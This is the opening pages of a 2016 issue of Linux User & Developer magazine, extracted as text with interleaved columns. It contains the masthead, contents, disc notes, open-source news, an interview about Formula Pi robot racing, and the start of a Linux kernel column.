FREE DVD WITH 3 LIVE BOOTING DISTROS

www.linuxuser.co.uk
LINUX USER & DEVELOPER ISSUE 170

THE ESSENTIAL MAGAZINE

FOR THE GNU GENERATION
VIRTUALISE YOUR SYSTEM

RUN MULTIPLE DISTROS ON ONE MACHINE

CONCURRENT AUTOMATE
WITH ANDROID
PROGRAMMING IN GO
Master goroutines, channels and pipelines
Turn an old phone into the hub
of your own Internet of Things

DISPLAY GUIS IN A BASH SCRIPT

Improve usability and navigation by
BACK UP adding graphical elements

DATA SECURELY
Professional ways to compress and archive files

DEVELOP WITH .NET CORE

Code, build, debug and test Visual Studio code under Linux
SHOOT IN LOW LIGHT WITH THE
SCAN FOR VULNERABILITIES
www.linuxuser.co.uk

PI NOIR CAMERA How to set up and use the Pi’s IR shooter

Use Python and Censys to test your system security
ISSUEISSN
1702041-3270 £5.99

BUILD AN EXPLORER ROBOT 4

70 >

9 772041 327002

001_LUD170_FINAL.indd 1 06/09/2016 14:45

Full Page.indd 1 01/09/2016 17:44
 THE MAGAZINE FOR
THE GNU GENERATION

Imagine Publishing Ltd

Richmond House, 33 Richmond Hill
Bournemouth, Dorset, BH2 6EZ
☎ +44 (0) 1202 586200
Web: www.imagine-publishing.co.uk
www.linuxuser.co.uk
www.greatdigitalmags.com
Magazine team
Editor April Madden
[email protected]
Welcome
to issue 170 of Linux User & Developer
☎ 01202 586218

This issue
Designer Rebekka Hearl
Photographer James Sheppard
Senior Art Editor Stephen Williams
Editor in Chief Dan Hutchinson
Publishing Director Aaron Asadi
Head of Design Ross Andrews
Contributors » Virtualise your system
» 50 terminal tricks
Mike Bedford, Joey Bernard, Toni Castilo Girona, Christian Cawley,
Sanne De Boer, Kunal Deo, Alex Ellis, Tam Hanna, Oliver Hill, Phil
King, Jon Masters, Paul O’Brien, Jack Parsons, Swayam Prakasha,
Richard Smedley, Jasmin Snook, Nitish Tiwari, Mihalis Tsoukalos and
Kevin Wittmer » Use a phone as a smart home server
Advertising
Digital or printed media packs are available on request.
Head of Sales Hang Deretz
» Back up your data securely
☎ 01202 586442
[email protected]
Sales Executive Luke Biddiscombe
☎ 01202 586431 Welcome to the latest issue of Linux User & Developer,
[email protected]
the UK and America’s favourite Linux and open source
FileSilo.co.uk
Assets and resource files for this magazine can now be found magazine. How many computers do you have in your
on this website.
Support [email protected] home? The answer, given the rise of smartphones, tablets
International
Linux User & Developer is available for licensing.
and laptop/tablet hybrids, is probably “A lot more than
Head of International Licensing Cathy Blackman ten years ago” – and that’s not including games consoles.
☎ +44 (0) 1202 586401
[email protected] Where once a single PC would serve the needs of the entire
Subscriptions
For all subscriptions enquiries
family, now it’s more likely that everyone has their own device.
[email protected] Those laptops and desktops can, however, include more than
☎ UK 0844 249 0282
☎ Overseas +44 (0) 1795 418661 one operating system, whether that’s a lightweight install to allow
www.imaginesubs.co.uk
Head of Subscriptions Sharon Todd you to skip smoothly from OS to OS, or a specialist Linux distro to
Circulation
Circulation Director Darren Pearce
enable you to perform specific tasks. As computers have become
☎ 01202 586200 Look for more and more powerful, so virtualisation has become both easier
Production issue 171 to achieve and easier to work with. In our feature on p18 this issue
Production Director Jane Hawkins on 20 Oct
☎ 01202 586200 er?
Finance Want it soon you’ll discover the essential FOSS you need to create, install and
Finance Director Marco Peroni
Subscrib e use different Linux distros as virtual machines. You’ll find the
Founder
Group Managing Director Damian Butt today! software on the disc along with three lightweight distros so that you
Printing & Distribution can explore virtualisation for yourself.
Printed by William Gibbons, 26 Planetary Road,
Willenhall, West Midlands, WV13 3XT Also this issue we take a look at the power of the command-line
Distributed in the UK, Eire & the Rest of the World by: interface and how you can use the terminal to supercharge your
Marketforce, 5 Churchill Place, Canary Wharf
London, E14 5HU system (p54), plus there’s a great range of tutorials to help you
☎ 0203 148 3300 master Bash, Go, backups, .NET and more. Enjoy the issue!
www.marketforce.co.uk

Distributed in Australia by:

April Madden, Editor
Gordon & Gotch Australia Pty Ltd
26 Rodborough Road
Frenchs Forest, New South Wales 2086, Australia
☎ +61 2 9972 8800
www.gordongotch.com.au
Disclaimer
The publisher cannot accept responsibility for any unsolicited material
Get in touch with the team:
lost or damaged in the post. All text and layout is the copyright of
Imagine Publishing Ltd. Nothing in this magazine may be reproduced
in whole or part without the written permission of the publisher.
All copyrights are recognised and used specifically for the purpose
[email protected]
of criticism and review. Although the magazine has endeavoured
to ensure all information is correct at time of print, prices and
availability may change. This magazine is fully independent and Facebook: Twitter: Buy online
not affiliated in any way with the companies mentioned herein.
If you submit material to Imagine Publishing via post, email, social
Linux User & Developer @linuxusermag
network or any other means, you automatically grant Imagine Publishing
an irrevocable, perpetual, royalty-free license to use the material across
its entire portfolio, in print, online and digital, and to deliver the material
to existing and future clients, including but not limited to international

Visit us online for more news, opinion, tutorials and reviews:

licensees for reproduction in international, licensed editions of Imagine
products. Any material you submit is sent at your risk and, although
every care is taken, neither Imagine Publishing nor its employees,

www.linuxuser.co.uk
agents or subcontractors shall be liable for the loss or damage.

© Imagine Publishing Ltd 2016

ISSN 2041-3270

www.linuxuser.co.uk 3

003_LUD170.indd 3 07/09/2016 14:32

 Contents
e
Subscrib!
& saouvt ouer
26 Check
offer!
great new ers
US custom ibe
cr
can subs
on page 64

Reviews
79 File compression utilities
They make your files more
manageable but which is best?

18 Virtualise your system

Run multiple distros using virtual machines
7zip WinZip

OpenSource Tutorials
08 News 28 Bash masterclass: GUIs
The biggest stories from If users find Terminal windows intimidating, PeaZip Hamster
the open source world display a Graphic User Interface

12 Interview 32 Develop with .NET Core on the 84 Synology RT1900ac

Timothy Freeburn explains Linux desktop Synology’s first router makes its debut,
Formula Pi robot racing Take Visual Studio code out for a test but does it impress?
drive and experience .NET Core development
16 Kernel column 86 LXLE 16.04.1
The latest on the Linux 36 Use an old Android phone as a Changes are plentiful in the latest
kernel with Jon Masters smart home server update from LXLE’s developers
Turn that old Android phone in your drawer into
the centre of your smart home 88 Free software
Richard Smedley recommends some
excellent FOSS packages for you to try
40 Leverage Censys to find well known
vulnerabilities in your servers
The Censys engine will help you find vulnerable
hosts without mass-scanning your network

44 Back up your data securely

Take a deeper look at backup techniques

48 Learn concurrent programming

in Go
Features Discover how to develop concurrent programs

18 Virtualise your system

Learn how to virtualise your 65 Practical Raspberry Pi
system with a range of FOSS Finish up our Explorer robot series, install
and use the Pi NoIR camera, discover how
54 Take command 96 Free downloads the Pi is bringing clean water to the places
Discover 50 terminal tricks to Find out what we’ve uploaded to our digital that need it most, and display a calendar
supercharge your system content hub FileSilo for you this month

Join us online for more Linux news, opinion and reviews www.linuxuser.co.uk
4

004_LUD170.indd 4 07/09/2016 17:16

 DOMAINS | MAIL | HOSTING | eCOMMERCE | SERVERS

NEW! 1&1 MANAGED

CLOUD
HOSTING
The best of both worlds!
Scalable on-demand and flexible server
resources combined with a high performance
hosting package: The new 1&1 Managed
Cloud Hosting is here! Ideal for online
projects which require the highest levels of
availability, security and flexibility.

Dedicated resources
20+ stack variations
Managed by 1&1 experts
Flexible scalability
Deployed <1 minute
TRY FREE
FOR 30 DAYS!*
Trusted Performance.
Intel® Xeon® processors.

1 TRIAL
TRY FOR
30 DAYS 1 CLICK
UPGRADE OR
DOWNGRADE 1 CALL
SPEAK TO
AN EXPERT

0333 336 5509

*1&1 Managed Cloud Hosting first month free, then starting at £9.99/month. No minimum contract term. You may cancel any time during the first month. No set up fee.
Prices exclude 20% VAT. Visit 1and1.co.uk for full product details, terms and conditions. 1&1 Internet Limited, Discovery House, 154 Southgate Street, Gloucester, GL1 2EX. 1and1.co.uk

Full Page.indd 1 01/09/2016 17:38

 Open Source On the disc

On your free
DVD this issue
Find out what’s on your free disc Load DVD
To access software and tutorial
files, simply insert the disc into
Welcome to the Linux User & Developer machines to the best selection of lightweight your computer and double-click
DVD. Run dozens of distros on one machine distros, this kit has got everything you need the icon.
with our complete virtualisation toolkit. to transform your PC into a virtualised
From backing up data to running virtual powerhouse today! Live boot
To live-boot into the distros

Featured software: supplied on this disc, insert the

disc into your disc drive and
reboot your computer.

Please note:
• You will need to ensure that
your computer is set up to boot
from disc (press F9 on your
computer’s BIOS screen to
change Boot Options).
• Some computers require
you to press a key to enable
booting from disc – check your
manual or the manufacturer’s
website to find out if this is the
Lubuntu Trisquel case on your PC.
• Live-booting distros are read
The objective of the Lubuntu project is to create a variant Trisquel is designed to run well on netbooks and
of Ubuntu that is lighter, less resource-hungry and more
from the disc: they will not be
low-power computers. It uses low-resource desktop
energy-efficient by using lightweight applications and environment LXDE (Lightweight X11 Desktop
installed permanently on your
LXDE, the Lightweight X11 Desktop Environment, as its Environment) and lightweight GTK+ and X Window computer unless you choose
default GUI. System alternatives to GNOME and KDE/Qt applications. to do so.

Debian VirtualBox For best results:

Debian is a classic Linux distro VirtualBox is a powerful x86 and
that’s been running since AMD64/Intel64 virtualisation This disc has been optimised
1993. It’s a great introduction product for enterprise as well as for modern browsers capable of
to Linux as well as being home use. Not only is VirtualBox rendering recent updates to the
powerful enough for pro users. an extremely feature rich, HTML and CSS standards. So
With support for a vast range high performance product for to get the best experience we
of hardware and a complete enterprise customers, it is also
recommend you use:
collection of packages, it’s highly the only professional solution
configurable and lightweight that is freely available as Open • Internet Explorer 8 or higher
enough to run as a VM host or Source Software under the • Firefox 3 or higher
guest. Please note that Debian terms of the GNU General Public
• Safari 4 or higher
installs and doesn’t live boot. License (GPL) version 2.
• Chrome 5 or higher

Problems with
the disc?
Send us an email at linuxuser@
QEMU KVM imagine-publishing.co.uk
QEMU is a generic and open source machine emulator KVM (for Kernel-based Virtual Machine) is a full
Please note however that if you
and virtualiser. When used as a machine emulator, virtualisation solution for Linux on x86 hardware
QEMU can run OSes and programs made for one containing virtualisation extensions (Intel VT or AMD-V). are having problems using the
machine (e.g. an ARM board) on a different machine (e.g. It consists of a loadable kernel module that provides programs or resources provided,
your own PC). By using dynamic translation, it achieves the core virtualisation infrastructure and a processor then please contact the relevant
very good performance. specific module. software companies.

006-007 Disc Tutorial.indd 6 07/09/2016 14:32

 Disclaimer
Important information
Check this before installing or
using the disc
For the purpose of this disclaimer
statement the phrase ‘this disc’
refers to all software and resources
supplied on the disc as well as the
physical disc itself.
You must agree to the following
terms and conditions before using
‘this disc’:

Loss of data
In no event will Imagine Publishing
Limited accept liability or be held
responsible for any damage,
disruption and/or loss to data or
computer systems as a result of
using ‘this disc’. Imagine Publishing
Limited makes every effort to
ensure that ‘this disc’ is delivered to
you free from viruses and spyware.
We do still strongly recommend that
you run a virus checker over ‘this
disc’ before use and that you have
an up-to-date backup of your hard
drive before using ‘this disc’.

Hyperlinks:
Imagine Publishing Limited does not
accept any liability for content that
may appear as a result of visiting
hyperlinks published in ‘this disc’. At
the time of production, all hyperlinks
on ‘this disc’ linked to the desired
destination. Imagine Publishing
Limited cannot guarantee that at the
time of use these hyperlinks direct
to that same intended content as
Imagine Publishing Limited has no
control over the content delivered on
these hyperlinks.

Software Licensing
Software is licensed under different
terms; please check that you know
which one a program uses before you
install it.

• Shareware: If you continue to use

the program you should register it
with the author
• Freeware: You can use the program
free of charge
• Trials/Demos: These are either
time-limited or have some
Live boot Distros functions/features disabled
Insert the disc into your computer and Distros can be live booted so that you • Open source/GPL: Free to use,
reboot. You will need to make sure that can try a new operating system instantly
your computer is set up to boot from disc
but for more details please visit
without making permanent changes to https://opensource.org/licenses/
your computer gpl-license
FOSS Unless otherwise stated you do not
Insert the disc into your computer and Explore have permission to duplicate and
double-click on the icon or Launch Disc Alternatively you can insert and run the
disc to explore the interface and content
distribute ‘this disc’.
file to explore the contents

www.linuxuser.co.uk 7

006-007 Disc Tutorial.indd 7 07/09/2016 14:32

 08 News & opinion | 12 Interview | 96 Filesilo

Desktop

Customise this
3D-printed computer
This $65 computer
is easily upgradable
thanks to its 3D
printed parts

Above There are different housing

materials available for the PC card

Manufacturing desktop computing parts the environment. Another key beneit of using needed, but there’s also plenty of customisation
isn’t overly good for the environment, so it’s 3D printed parts at the core of the EOMA68 is options as well.
no wonder Rhombus tech’s ‘earth-friendly’ that it makes it relatively simple for users to In a recent statement by Rhombus Tech, the
desktop computer has already garnered a lot of upgrade and repair on the ly. company made its intent known for the open-
support. The EOMA68 computing devices offer At the core of the 3D printed computer is the PC source project. “We are going above and beyond
an alternative stance to the classic computing card, which features 8GB of on-board storage, 2GB by providing full CAD files, schematics, and
platform, using a standardised PC board alongside of RAM and an ARM processor. For Linux users, datasheets for all the parts (without NDAs) as well
a series of 3D printable housing parts. you’ll be pleased to hear the EOMA68 boasts as having the 3D CAD files for the casework as a
At the time of writing, UK startup Rhombus support for a wide range of distros, including completely open GPLv3+ licensed project right
Tech has raised nearly 75 per cent of its CentOS, Debian, Fedora and Arch Linux. Backers from its inception. In addition, all firmware and
$150,000 crowdfunding goal, but with a of the project on the EOMA68’s crowdfunding page kernel sources are GPL-licensed and will always
number of days of left, it’s likely it’ll far can also get their hands on a laser-cut plywood remain so, and have been vetted in advance
exceed its original target. The company has desktop base unit, or a 15.6-inch laptop housing and do not contain any copyright violations or
developed what it’s touting as an ‘earth- for the PC card. proprietary license-violating blobs.”
friendly’ computer, which relies on easily The choice of housing is a great addition to the Backers of the EOMA68 crowdfunding
attainable materials that have little impact on EOMA68 computer, and the crowdfunding options campaign are expected to be getting their hands
for backers are plentiful. As well the housing on their device by the end of spring 2017, with
EOMA68 boasts support options mentioned previously, potential owners
can also order a complete computer with pre-
shipping due to start in March. For those ordering
the $500 pre-printed kit, you’ll have the option to
for a wide range of distros, printed housing for $500, or alternatively they can choose between different colour combinations
download the variety of CAD files needed for the and construction materials including a deluxe
including CentOS, Debian, housing and print their own. The downloadable black resin option. It’s unknown how many units
Fedora and Arch Linux CAD files allow for cost-effective repairs when will be available outside of the crowdfunding page.

008-011_LUD170.indd 8 07/09/2016 14:33

 ROBOTICS TOP FIVE
Lightweight
Linux distros

1 CorePlus
CorePlus is one of the smallest Linux distros,
and ships with three very different variants. The
smallest of the small is the Core edition, which
uses just 10MB of resources, but lacks a window

Intel’s Project manager. It’s incredibly basic and does the

absolute minimum you’d expect from a distro.

2 LXLE
Euclid is perfect The lack of resources taken up by LXLE make it a
sensible choice for those looking to breathe new life
into an aging desktop machine. It’s tailored to work

for robot makers out of the box, but with plenty of customisations on
hand as well to make it your own.

The next generation of robots

is set to be better than ever
Among the myriad of announcements at Intel’s Intel CEO Brian Krzanich, as he took to the stage at
recent Developer Forum in San Francisco comes the IDC.
news of the hotly tipped Project Euclid, a tiny PC Although the exact sizing of the Euclid is
aimed at robotics makers and developers, based unknown, Intel has noted that it’s around the
on Intel’s RealSense technology. size of a ‘standard chocolate bar’, which is 3 Porteous
The main aim behind Project Euclid is to impressive considering the tech inside. As well While Slackware-based distros have generally
make it easy for developers to create a series of as the Atom processor, the Euclid also comes fallen out of favour, Porteous remains one of the
applications, such as 3D printing robots and smart with full wireless connectivity, a Li-ion battery, best around. It’s designed for managing removable
media through a series of modules, which help keep
home technology, using Intel’s RealSense camera Intel’s own RealSense camera, and a variety
Porteus small and compact at all times.
tech. Where much of the current technology open of sensors. What we especially like about the
for makers tends to be overly complicated, with
a steep learning curve to boot, Euclid aims to
Euclid is the self-containing PC inside, running
Ubuntu Linux and Robot OS. The release date of 4 Vector Linux
simplify the process, bridging the gap between Project Euclid is not yet known, but it’s touted to Simplicity is key in Vector Linux, and it’s one of the
key reasons why the distribution has gained a cult
entry level and advanced technology. be at some point in 2017.
following. The Light version uses the incredibly
While Intel’s Atom chip may have been largely Alongside the announcement of Project Euclid, miniscule iceWM window manager, perfect for low
dismissed for most of its latest projects, it remains Intel also demonstrated the next generation resource machines.
at the core of the Euclid. While partially this is of RealSense cameras. The new range boasts
down to its small size being ideal for the miniature
Euclid unit, it’s also highly adaptable, and perfect
improved accuracy, with almost double the
number of 3D points captured per second. Its
5 Puppy Linux
This is another distribution aimed at breathing new
for developing for the Internet of Things. “We smaller size also means we’re likely to see it life into older machines, but it still packs a punch.
believe Euclid is just perfect for developers. It implemented into Intel’s next wave of Internet of It’s packed full of apps, which is quite amazing
offers the ability to sense with RealSense, motion Things products. Intel’s latest RealSense cameras considering its small size, but these are removable
sensors, and software tools to use as well,” said are set for launch later this year. if you want to keep the size down even more.

www.linuxuser.co.uk 9

008-011_LUD170.indd 9 07/09/2016 14:33

 OpenSource Your source of Linux news & views

ChrOme

Google’s
Chrome
Apps leave
Linux
Google is going to be
discontinuing all Chrome
Apps for non-Chrome
operating systems
In a recent blog post made by Google, the
company said that it will soon be removing
Above Chrome Apps for Linux will disappear by 2018
all Chrome Apps from non-Chrome operating
systems. While it’s a big blow for those who slightly more surprising blow, despite their low Among the apps being discontinued is the
frequently use them on their Linux desktops, the usage. “Today, approximately 1 per cent of users fantastic Pixlr Touch Up photo editor, as well as
general uptake has been slow, so the removal on Windows, Mac and Linux actively use Chrome an abundance of popular gaming titles. If you’re
comes as little surprise. However, the removal packaged apps, and most hosted apps are already now manically moving your saved Chrome App
of Chrome Apps from Windows and OS X is a implemented as regular web apps,” said Rahul Roy files between devices, there’s no need to panic, as
Chowdhury, VP of Product Management at Google. the wind-down of the service will be gradual over
All current Chrome Apps “On Windows, Mac, and Linux, we encourage the next months. All current Chrome Apps will still
developers to migrate their Chrome apps to the remain available for a while, with developers still
will still remain available for web. Developers who can’t fully move their apps allowed to make updates across all platforms. The
a while, with developers still to the web can help us prioritise new APIs to fill the Chrome Web Store is set to stop showing Chrome
gaps left by Chrome apps. In the short term, they Apps for Windows, Mac and Linux in the second
allowed to make updates can also consider using a Chrome extension or quarter of 2017, with the apps being removed
across all platforms platforms such as Electron or NW.js.” entirely by 2018.

COmmAND LINe
PowerShell scripting language inally goes open source
As far as scripting languages go, The codebase for PowerShell will work Microsoft has also added the PowerShell
microsoft’s PowerShell is considered across all compatible, open source OSes, Editor Service to Linux, a great tool that can
one of the best. It’s an ideal piece of kit and will be readily available with a license on be implemented into text editors built for
to have around for running and managing GitHub. It’s important to note that this initial debugging and programming. For some,
system tasks with ease, and is also perfect release is very much in the alpha phase, so PowerShell and its Editor Service will
for those who are looking for something users should be aware that certain features be completely foreign, so it’s handy that
built on the .NET framework. Microsoft have been stripped back, and they may face Microsoft is also launching a free online
has teased the release of PowerShell over compatibility issues in other areas. academy course for users. It covers all the
on Linux for a while, so it’s great to see basics you need to learn about PowerShell,
that the command-line shell has inally
gone open source. With Microsoft’s ‘multi-
It’s an ideal piece of kit and details the best ways you can implement
it into your setup.
platform’ dream in full low, we are likely to to have around for running Interested? Head over to PowerShell’s
see many of its other core software tools repository on GitHub at: https://github.com/
eventually make the full transition across
and managing system tasks PowerShell/PowerShell/tree/master/docs/
to Linux. with ease learning-powershell

10

008-011_LUD170.indd 10 07/09/2016 14:33

 HARDWARE DISTRO FEED

Microsoft’s Surface Top 10

(Average hits per day, 31 July – 31 August)

3 to get Linux 4.8 1.

2.
Linux Mint
Debian
2,978

1,800

compatibility
3. Ubuntu 1,701

4. openSUSE 1,166

5. Manjaro 1,114

Will this be your next tablet? 6. Fedora 1,088

7. elementary 904
While the Surface 3 may have received plenty However, that’s all about to change with the
of critical success, it has by and large alienated first release candidate of Linux 4.8. Built in to the 8. Zorin 853
Linux users wanting a solid piece of hardware. release is a new driver, with noted support for 9. CentOS 832
It has been plausible getting older versions of the Surface 3 touchscreen controller. We should
the Linux kernel working on the Surface series mention here that a lot can change between now 10. Arch Linux 801
of tablets, but the process is, arguably, far more and the emergence of the final release, so the
convoluted than it’s worth. driver may also be changed; it is however, a great
inclusion for those seeking a new tablet.
This month
The $499 Surface 3 should run Linux very well, ■ Stable releases (16)
and speculation is rife that our favourite OS may ■ In development (10)
work even better with the tablet’s Atom processor
than it does on Windows. Mint is definitely the
Other updates included in the first release flavour of the month
currently, and it’s one of
candidate of Linux 4.8 are largely minimal. the few months we’ve
Alongside the Surface 3, there’s added support encountered that we
for the entry level Pegasus Notetaker tablet, as haven’t seen any major
Ubuntu-based
well as options for Raydium’s I2C’s touchscreen distro releases.
controllers as well. Users can get a full run
though of the updates over at: http://lkml.iu.edu/ Highlights
hypermail/linux/kernel/1608.0/04804.html
Mint
TCP Mint has been steadily growing its
userbase over the past few months, and

Linux TCP bug puts 1.4 billion it’s still gaining support thanks to its most recent
update. Make sure to give it a download if you
haven’t done so already.

Androids at risk Elementary

Elementary is one of the few distros

Analysts warn that 8 out of 10 Android devices to gain users this month, but we’re not
surprised. It’s still one of the prettiest distributions
could be exposed out there, with some nice graphic enhancements
also on board.
A bug within Linux’s transmission control be manipulated and used. Data of this nature
protocol, used primarily when browsing the should always be put behind some sort of Arch
internet on unsecured connections, has encryption, and now is a good time to do so if you Arch may have fallen out of favour with
potentially left 1.4 billion Android users at risk. haven’t already. people, but there’s some fantastic spin-off
Security giant Lookout has discovered While at the time of writing there’s no known distros out there that look to really show off what
that nearly 8 out of 10 Android devices are fix for the issue, it’s believed that a fix will come Arch is capable of. We implore you to check them out.
potentially at risk, adding that the fault in the from Google just before or after the release of
TCP has potentially enabled hackers to hijack Android Nougat. In the meantime, Android users
internet traffic and modify connections. In the should do all that they can to browse the web Latest distros
long run, it can mean your smartphone is taken only on a secured connection, or use a trusted available:
over by snoopers, and your sensitive data can VPN service to mask their IP.
filesilo.co.uk

www.linuxuser.co.uk 11

008-011_LUD170.indd 11 07/09/2016 14:33

 OpenSource Your source of Linux news & views

IntervIew TimoThY Freeburn

racing robots in Formula Pi

Got the need for speed? Timothy Freeburn discusses
how Formula Pi introduces the new era of racing robots

timothy Freeburn
Timothy Freeburn is the director
and owner of the uK-based
robotics company Freeburn
robotics. he has extensive
experience in the design and
manufacture of high-quality
PCbs and electronics equipment.

where did the idea for Formula Pi How are the races structured? Does it have a
come from? league-based system, for example?
When i was young, my father used to Quite a few different ideas have been proposed.
take me to watch motor racing. While most people The reason this hasn’t been explained yet is
were obsessed with driving the cars or which because the actual form depends on the amount
celebrity the driver was, i always preferred the of competitors we get on board with the project.
engineering behind the cars and how they were it is most likely that we will run a league based on
built. i always wondered what it would be like to heats of ive. There will be an accommodation for
take the driver away from the car, and have the cars any mechanical problems, and to ill any gaps, we
compete among themselves. how cool is it to have a will have robots running the standard, unmodiied
driver take their hands off the wheel? To have self- code that we supply to each racer. We feel this will
driving cars taking sick people to hospitals, for old be the most interesting and fair for the competitors
people to visit their family even if they can’t see well, that get involved.
or to get me home from the “very occasional” pub At the moment, it is most likely that the heats will
evening! it was these ideas that eventually formed take place every two weeks, so that people have a
what we wanted to achieve with Formula Pi. chance to tweak code before the next heat and make

12

012-015_LUD170.indd 12 07/09/2016 14:37

 sure their robot is running at peak performance.
These races will be broadcast live so that everyone
can watch their robots compete, with each result of
the heats likely be posted the day after each heat.

How was the track designed? Are there different

elements you needed to consider?
We tried to make the track as long as we could in
the space we had. The outside of the track wanted
to have rubber skirting so that any collisions
didn’t damage the robots or the track, which was
massively important. The track itself wanted
painting in colours obvious to the camera, so that
the Pi could easily identify its position, both on the
track and its location compared to the other robots
in the race. The lighting needed to be diffused
Meet the racing robots
lighting rather than direct, so that the robots get vying for glory
a better view of the track. To do this, we put loor
lights pointing at the ceiling, which worked quite To keep each Formula Pi race as fair as possible, each competitor will be racing
well. There are a set of LED stop/go lights that are with the same YetiBorg HS Zero robot. Each robot is carefully crafted to take all
approximately eight feet in front of the robots, to the bumps and scrapes involved with racing, with each one coming with everything
indicate to them when to start racing and when to the competitor needs, bar a 9V battery and a Raspberry Pi Zero. The casing of
inish. We will also have a camera and laser sensor each robot is constructed from a 2mm thick aluminium and powered by a 60rpm
over the start/inish line to gain timing information 6V 220ma motor. For racers, this should mean that the YeitBorg can reach some
and to eliminate jump starts. pretty nifty speeds.
The rest of the robot is within the racer’s hands, and it’s up to them how
Could you tell us a bit more about the robots being they want to improve the robot. Each robot must be constructed themselves
used for the event? and Formula Pi supplies the necessary code to make the robot completely
The robots have 2mm thick aluminium chassis autonomous. But it’s how each racer then changes that code that will help make
on them, so they can take a beating. I’ve dropped their robot stand out from the competition. Think you’ve got what it takes to win?
one from more than a metre, and it only required a Then head over to www.formulapi.com for more information.
slight bend to the motor mounts, so their durability

www.linuxuser.co.uk 13

012-015_LUD170.indd 13 07/09/2016 14:37

 OpenSource Your source of Linux news & views

The winning
combination
Each competitor will receive the standard
race code, manufactured by the Formula Pi
team, which has to be used within their robot.
However, it’s up to the competitor to explore
the ways they can adapt the code to help
improve how their robot performs in a race.
Essentially these changes can be as simple or
as advanced as you see fit. For example, some
may want to alter the code to help their robot
react better when navigating corners, while
others may want to improve how the robot
makes decisions when going around the track.
should be okay for racing. They have large wheels
What we’re most impressed with is the
so if the robots do not try to avoid each other, they
will get tangled together which will be a massive They only use control that each racer has over their robot’s
motors. One particular section of the script
disadvantage. The only input to the Raspberry
Pi is from the Pi Camera. This is very different to the Raspberry relates solely to the motor speeds, and it’ll be up
to the competitor to figure out the top speeds
many other forms of autonomous cars which have
Lidar, radar, GPS, accelerometers and so on. They
Pi Zero to that can be achieved without the robot missing
corners or crashing into other robots.
also only use the £4 Raspberry Pi Zero to do all the
calculations, so efficient code is a requirement for a
do all the
good racing experience. calculations, separate segments to make it simple to understand,
and we will have all sorts of educational material to
What sort of knowledge of the Raspberry Pi and so efficient help people get up to speed with the coding. So by no
robotics does a potential entrant need before joining?
Anyone can join really! We have code ready to go,
code is a means do you need to be knowledgeable in robotics
to get started with Formula Pi.
so the minimum someone would need to do is just requirement for
resend the code back to us and decorate their Is there scope for entrants to tinker with
YetiLid (the top plate on the robot so we can identify a good racing the software to help improve their robot’s
the entry). However, with some really basic coding
skills, great improvements can be made to the
experience performance?
Simple things such as deciding which lane to be in and
code to be more competitive. The code is split into when, will greatly improve the performance. Probably

14

012-015_LUD170.indd 14 07/09/2016 14:37

 the biggest gain is actually in not only being able to Where do you see Formula Pi in the future?
avoid other robots, but also to be able to igure out If your robot Different tracks and robots, perhaps?
exactly where on the track the robot is. It makes
sense that if a robot happens to get stuck on a wall
gets stuck, We will have a much faster series in Winter 2017.
Details of that will be available after the Winter
and stays there all race, it would almost certainly
lose to a much slower robot that avoids obstacles
we don’t 2016 series. We’d love to get more tracks all over
the world, as there really isn’t the need to have it all
and self-rights any mistakes it made. Just to clarify reposition based in one country. This is especially true when
that point, in the race, if your robot gets stuck, we the only requirement to send around the world is
don’t reposition it. Humans on the track during it. Humans the code! I’m certain this competition will be really
racing is expressly forbidden! The especially brave
who wish to write their own code entirely can do so
on the track entertaining to watch, and with something like
this, even if there is a big accident, nobody gets
if they wish – we will even have judges’ trophies for during racing hurt! I can only see these competitions getting
custom code, for example the best neural network- faster and more dangerous as they become more
based implementation. So essentially it’s entirely is expressly of a spectacle to watch. For those interested in
dependent on each racer, on how they want to
implement our code.
forbidden! learning about more Formula Pi and entering, head
across to www.formulapi.com.

www.linuxuser.co.uk 15

012-015_LUD170.indd 15 07/09/2016 14:37

 openSource Your source of Linux news & views

opinion

The kernel column

Jon Masters summarises the latest happenings in the Linux kernel
community, as Linus Torvalds closes the merge window on Linux 4.8
in anticipation of the next kernel release
Linus Torvalds announced the first few An interesting footnote in the development of Linux 4.8
release-candidate kernels for what will, was the discussion initiated by Pavel Machek about 4.8-
in a few more weeks, become 4.8. In his rc1 ‘breaking’ boot-up on his test system.
announcement mail for 4.8-rc1, he noted that he was a It turns out that Pavel has a kernel command line
little behind in pulling in a handful of patches due to travel, featuring a root=/dev/sda-type argument, and 4.8
but that he was closing the merge window to prevent any changes the probe ordering (on his system) so that USB
more patches coming in. According to Linus, 4.8 will be devices are enumerated prior to the SATA interfaces;
one of the “bigger releases lately”. Indeed, the feature set exactly the inverse of what had been true up until that
landing in the new kernel is quite impressive (read on for time (for him). A lengthy thread followed in which Pavel
an initial summary), and overall the kernel includes a few suggested that this broke the ‘don’t break working
changes that skew the stats in a lopsided fashion. systems’ rule, but Greg Kroah-Hartman, Alan Cox, and
For example, 4.8-rc2 was “dominated by arch updates, many others pointed out that drive probing order “has
and fs/ and mm/” (rather than the typical driver-heavy always been non-deterministic”. They encouraged Pavel
focus after the initial rc1). And, in a further departure to use a root=UUID= or similar type of boot argument,
from a normal cycle, 20 per cent of the 4.8-rc1 kernel which exists exactly for the reason of uniquely identifying
changesets contained documentation updates. This the system boot volume.
Jon Masters wasn’t as a result of the kernel development community Thorsten Leemhuis posted his usual list of reported
is a Linux-kernel hacker who has suddenly realising that the kernel needs far better regressions in the new kernel, intentionally excluding the
been working on Linux for some
19 years, since he irst attended documentation (which it does), but rather as a result SATA issue reported by Pavel. He did, however, include
university at the age of 13. Jon lives of the merging of support for a replacement code a similar issue about a kernel change that “deliberately
in Cambridge, Massachusetts, and documentation formatting technology, known as Sphinx. changes order of network interfaces”. He wasn’t sure
works for a large enterprise Linux
vendor, where he is driving the
This new mechanism for formatted code documentation whether ‘traditional’ network interface names – such as
creation of standards for energy will initially live alongside the older (docbook based) eth0 – were considered stable from one boot to the next.
eficient ARM-powered servers one. Documentation on Sphinx itself can be found in the
kernel’s Documentation/kernel-documentation.rst, and Architecture Emulation Containers
examples can be found in the kernel’s GPU and DRM (3D Architecture Emulation Containers are a relatively simple
rendering) code for Linux 4.8. concept, building upon the existing support in the kernel
The 4.8 kernel will bring a number of new features, for the binfmt_misc binary format. Linux implements
including architecture emulation containers, page- support for binary executables using a flexible plugin-like
reclaim based upon NUMA node (as opposed to zone), system that first identifies the format of the intended
kexec support on 64-bit ARM systems (arm64), ACPI executable and then determines which interpreter to use
overlays on both x86 and arm64 (allowing developers – in running that binary.For example, when you type:
and users needing a very short term workaround for new
hardware – to easily override system firmware-provided $ /bin/bash
ACPI tables with fixes), and many enhancements that
bring robustness and improvements for kernel engineers, on your Linux system, the kernel will identify that this is
